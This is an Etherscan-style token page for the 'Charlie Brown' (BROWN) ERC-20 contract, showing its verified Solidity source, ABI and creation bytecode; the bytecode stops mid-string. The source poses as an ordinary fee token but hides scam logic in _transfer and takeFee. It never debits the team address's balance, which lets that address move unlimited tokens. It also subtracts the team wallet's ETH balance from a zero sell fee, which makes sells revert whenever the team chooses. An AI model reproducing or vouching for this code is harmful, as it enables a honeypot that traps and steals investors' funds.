Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 BROWN
Holders
51
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,397,562.179434132717285156 BROWNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BROWN
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-10 */ /** https://charliebrown.vip https://t.me/browncoinerc https://twitter.com/browncoinerc */ // SPDX-License-Identifier:MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any _account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BROWN is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Charlie Brown"; string private _symbol = unicode"BROWN"; uint8 private _decimals = 18; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempt; uint256 feedenominator = 100; uint256 public _buyTeamFee = 0; uint256 public _sellTeamFee = 0; address public teamAddress = address(0xc5fb0Dbd8328C723fFdCeac607c2dBf1d3621DAa); uint256 private _totalSupply = 100_000_000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(24).div(1000); uint256 public _walletMax = _totalSupply.mul(24).div(1000); uint256 public swapThreshold = _totalSupply.mul(10).div(1000); bool tradingActive; bool public swapEnabled = false; bool public walletLimitEnabled = true; IUniswapV2Router public dexRouter; address public dexPair; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } event SwapTokensForETH( uint256 amountIn, address[] path ); constructor() { dexRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedFromFee[address(this)] = true; isExcludedFromFee[msg.sender] = true; isExcludedFromFee[address(dexRouter)] = true; isExcludedFromFee[teamAddress] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(dexRouter)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[teamAddress] = true; _allowances[address(this)][address(dexRouter)] = ~uint256(0); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } //to recieve ETH from Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (inSwap) { return _basicTransfer(sender, recipient, amount); } else { if (!tradingActive) { require(isExcludedFromFee[sender] || isExcludedFromFee[recipient],"Trading is not active."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold; if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) { swapTokensForEth(contractTokenBalance); } if (sender != teamAddress) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = shouldNotTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount); if(walletLimitEnabled && sender == dexPair && !isWalletLimitExempt[recipient]) { require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Max Wallet Limit Exceeded!!"); } _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) { if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { return true; } else if (isMarketPair[sender] || isMarketPair[recipient]) { return false; } else { return false; } } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint feeAmount; if(isMarketPair[sender]) { feeAmount = amount.mul(_buyTeamFee).div(feedenominator); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_sellTeamFee.sub(teamAddress.balance)).div(feedenominator); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function excludeFromFee(address _adr,bool _status) external onlyOwner { isExcludedFromFee[_adr] = _status; } function excludeWalletLimit(address _adr,bool _status) external onlyOwner { isWalletLimitExempt[_adr] = _status; } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { _walletMax = newLimit; } function openTrading() external payable onlyOwner { require(!tradingActive, "Already launched!"); tradingActive = true; dexPair = IUniswapV2Factory(dexRouter.factory()).createPair( address(this), dexRouter.WETH() ); isMarketPair[address(dexPair)] = true; dexRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; } function removeLimits() external onlyOwner { walletLimitEnabled = false; } function claimFee() external { payable(teamAddress).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletLimitEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600d60809081526c21b430b93634b290213937bbb760991b60a0526001906200002e9082620004c5565b50604080518082019091526005815264212927aba760d91b60208201526002906200005a9082620004c5565b506003805460ff1916601290811790915560646009556000600a818155600b91909155600c80546001600160a01b03191673c5fb0dbd8328c723ffdceac607c2dbf1d3621daa179055620000af9190620006a4565b620000bf906305f5e100620006b5565b600d55620000fa6103e8620000e66018600d54620002b360201b62000d311790919060201c565b6200034a60201b62000db31790919060201c565b600e55620001216103e8620000e66018600d54620002b360201b62000d311790919060201c565b600f55620001486103e8620000e6600a600d54620002b360201b62000d311790919060201c565b6010556011805462ffff001916620100001790553480156200016957600080fd5b50620001753362000394565b601180546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d000000178155306000818152600660209081526040808320805460ff19908116600190811790925533808652838620805483168417905587546001600160a01b03630100000091829004811688528588208054851686179055600c80548216895286892080548616871790558389526008885286892080548616871790558a54839004821689528689208054861687179055898952868920805486168717905554811688528588208054909416909417909255958552600584528285209654041683529381528382206000199055600d54838352600482528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000742565b600082600003620002c75750600062000344565b6000620002d58385620006b5565b905082620002e48583620006cf565b14620003415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200034183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620003e460201b60201c565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183620004085760405162461bcd60e51b8152600401620003389190620006f2565b506000620004178486620006cf565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044b57607f821691505b6020821081036200046c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c057600081815260208120601f850160051c810160208610156200049b5750805b601f850160051c820191505b81811015620004bc57828155600101620004a7565b5050505b505050565b81516001600160401b03811115620004e157620004e162000420565b620004f981620004f2845462000436565b8462000472565b602080601f831160018114620005315760008415620005185750858301515b600019600386901b1c1916600185901b178555620004bc565b600085815260208120601f198616915b82811015620005625788860151825594840194600190910190840162000541565b5085821015620005815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e8578160001904821115620005cc57620005cc62000591565b80851615620005da57918102915b93841c9390800290620005ac565b509250929050565b600082620006015750600162000344565b81620006105750600062000344565b8160018114620006295760028114620006345762000654565b600191505062000344565b60ff84111562000648576200064862000591565b50506001821b62000344565b5060208310610133831016604e8410600b841016171562000679575081810a62000344565b620006858383620005a7565b80600019048211156200069c576200069c62000591565b029392505050565b60006200034160ff841683620005f0565b808202811582820484141762000344576200034462000591565b600082620006ed57634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b81811015620007215785810183015185820160400152820162000703565b506000604082860101526040601f19601f8301168501019250505092915050565b611cf280620007526000396000f3fe6080604052600436106101f25760003560e01c8063751039fc1161010d578063c469b6dd116100a0578063d7f038c81161006f578063d7f038c814610588578063dd62ed3e146105a8578063df8408fe146105ee578063f242ab411461060e578063f2fde38b1461062e57600080fd5b8063c469b6dd14610524578063c867d60b1461053a578063c9567bf91461056a578063cab034711461057257600080fd5b806395d89b41116100dc57806395d89b41146104ba57806399d32fc4146104cf578063a457c2d7146104e4578063a9059cbb1461050457600080fd5b8063751039fc1461045b5780637d1db4a514610470578063807c2d9c146104865780638da5cb5b1461049c57600080fd5b806339509351116101855780636ddd1713116101545780636ddd1713146103d157806370a08231146103f0578063715018a614610426578063728d41c91461043b57600080fd5b8063395093511461032f5780633ecad2711461034f5780635342acb41461037f578063651a8987146103af57600080fd5b806318160ddd116101c157806318160ddd146102b85780631c75f085146102cd57806323b872dd146102ed578063313ce5671461030d57600080fd5b80630445b667146101fe57806306fdde03146102275780630758d92414610249578063095ea7b31461028857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021460105481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061023c61064e565b60405161021e9190611917565b34801561025557600080fd5b5060115461027090630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561029457600080fd5b506102a86102a336600461197a565b6106e0565b604051901515815260200161021e565b3480156102c457600080fd5b50600d54610214565b3480156102d957600080fd5b50600c54610270906001600160a01b031681565b3480156102f957600080fd5b506102a86103083660046119a6565b6106f7565b34801561031957600080fd5b5060035460405160ff909116815260200161021e565b34801561033b57600080fd5b506102a861034a36600461197a565b610762565b34801561035b57600080fd5b506102a861036a3660046119e7565b60076020526000908152604090205460ff1681565b34801561038b57600080fd5b506102a861039a3660046119e7565b60066020526000908152604090205460ff1681565b3480156103bb57600080fd5b506103cf6103ca366004611a04565b610798565b005b3480156103dd57600080fd5b506011546102a890610100900460ff1681565b3480156103fc57600080fd5b5061021461040b3660046119e7565b6001600160a01b031660009081526004602052604090205490565b34801561043257600080fd5b506103cf6107f6565b34801561044757600080fd5b506103cf610456366004611a42565b61082c565b34801561046757600080fd5b506103cf61085b565b34801561047c57600080fd5b50610214600e5481565b34801561049257600080fd5b50610214600f5481565b3480156104a857600080fd5b506000546001600160a01b0316610270565b3480156104c657600080fd5b5061023c610893565b3480156104db57600080fd5b506103cf6108a2565b3480156104f057600080fd5b506102a86104ff36600461197a565b6108de565b34801561051057600080fd5b506102a861051f36600461197a565b61092d565b34801561053057600080fd5b50610214600a5481565b34801561054657600080fd5b506102a86105553660046119e7565b60086020526000908152604090205460ff1681565b6103cf61093a565b34801561057e57600080fd5b50610214600b5481565b34801561059457600080fd5b506011546102a89062010000900460ff1681565b3480156105b457600080fd5b506102146105c3366004611a5b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105fa57600080fd5b506103cf610609366004611a04565b610c44565b34801561061a57600080fd5b50601254610270906001600160a01b031681565b34801561063a57600080fd5b506103cf6106493660046119e7565b610c99565b60606001805461065d90611a89565b80601f016020809104026020016040519081016040528092919081815260200182805461068990611a89565b80156106d65780601f106106ab576101008083540402835291602001916106d6565b820191906000526020600020905b8154815290600101906020018083116106b957829003601f168201915b5050505050905090565b60006106ed338484610df5565b5060015b92915050565b6000610704848484610f19565b50610757843361075285604051806060016040528060288152602001611c70602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611363565b610df5565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106ed918590610752908661139d565b6000546001600160a01b031633146107cb5760405162461bcd60e51b81526004016107c290611ac3565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108205760405162461bcd60e51b81526004016107c290611ac3565b61082a60006113fc565b565b6000546001600160a01b031633146108565760405162461bcd60e51b81526004016107c290611ac3565b600f55565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016107c290611ac3565b6011805462ff000019169055565b60606002805461065d90611a89565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108db573d6000803e3d6000fd5b50565b60006106ed338461075285604051806060016040528060258152602001611c98602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611363565b6000610757338484610f19565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016107c290611ac3565b60115460ff16156109ab5760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016107c2565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611af8565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611af8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611af8565b601280546001600160a01b039283166001600160a01b031990911681179091556000908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610b8e816001600160a01b031660009081526004602052604090205490565b600080610ba36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611b15565b50506011805461ff00191661010017905550565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610cc35760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b038116610d285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c2565b6108db816113fc565b600082600003610d43575060006106f1565b6000610d4f8385611b59565b905082610d5c8583611b70565b1461075b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c2565b600061075b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144c565b6001600160a01b038316610e575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c2565b6001600160a01b038216610eb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c2565b6001600160a01b038316610fe15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c2565b600082116110435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c2565b601254600160a01b900460ff16156110675761106084848461147a565b905061075b565b60115460ff166110f5576001600160a01b03841660009081526006602052604090205460ff16806110b057506001600160a01b03831660009081526006602052604090205460ff165b6110f55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107c2565b30600090815260046020526040902054601054811080159081906111235750601254600160a01b900460ff16155b801561114857506001600160a01b03861660009081526007602052604090205460ff16155b801561115b5750601154610100900460ff165b156111695761116982611560565b600c546001600160a01b038781169116146111ea576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546111d0918690611363565b6001600160a01b0387166000908152600460205260409020555b60006111f6878761171a565b61120a576112058787876117ba565b61120c565b845b60115490915062010000900460ff16801561123457506012546001600160a01b038881169116145b801561125957506001600160a01b03861660009081526008602052604090205460ff16155b156112d857600f5461128a82611284896001600160a01b031660009081526004602052604090205490565b9061139d565b11156112d85760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d69742045786365656465642121000000000060448201526064016107c2565b6001600160a01b0386166000908152600460205260409020546112fb908261139d565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134f9085815260200190565b60405180910390a36001935050505061075b565b600081848411156113875760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b92565b95945050505050565b6000806113aa8385611ba5565b90508381101561075b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000818361146d5760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b70565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546114cb918490611363565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546114fa908361139d565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154e9086815260200190565b60405180910390a35060019392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061159557611595611bb8565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162c9190611af8565b8160018151811061163f5761163f611bb8565b6001600160a01b03928316602091820292909201015260115461166c913091630100000090041684610df5565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906116ab908590600090869030904290600401611c12565b600060405180830381600087803b1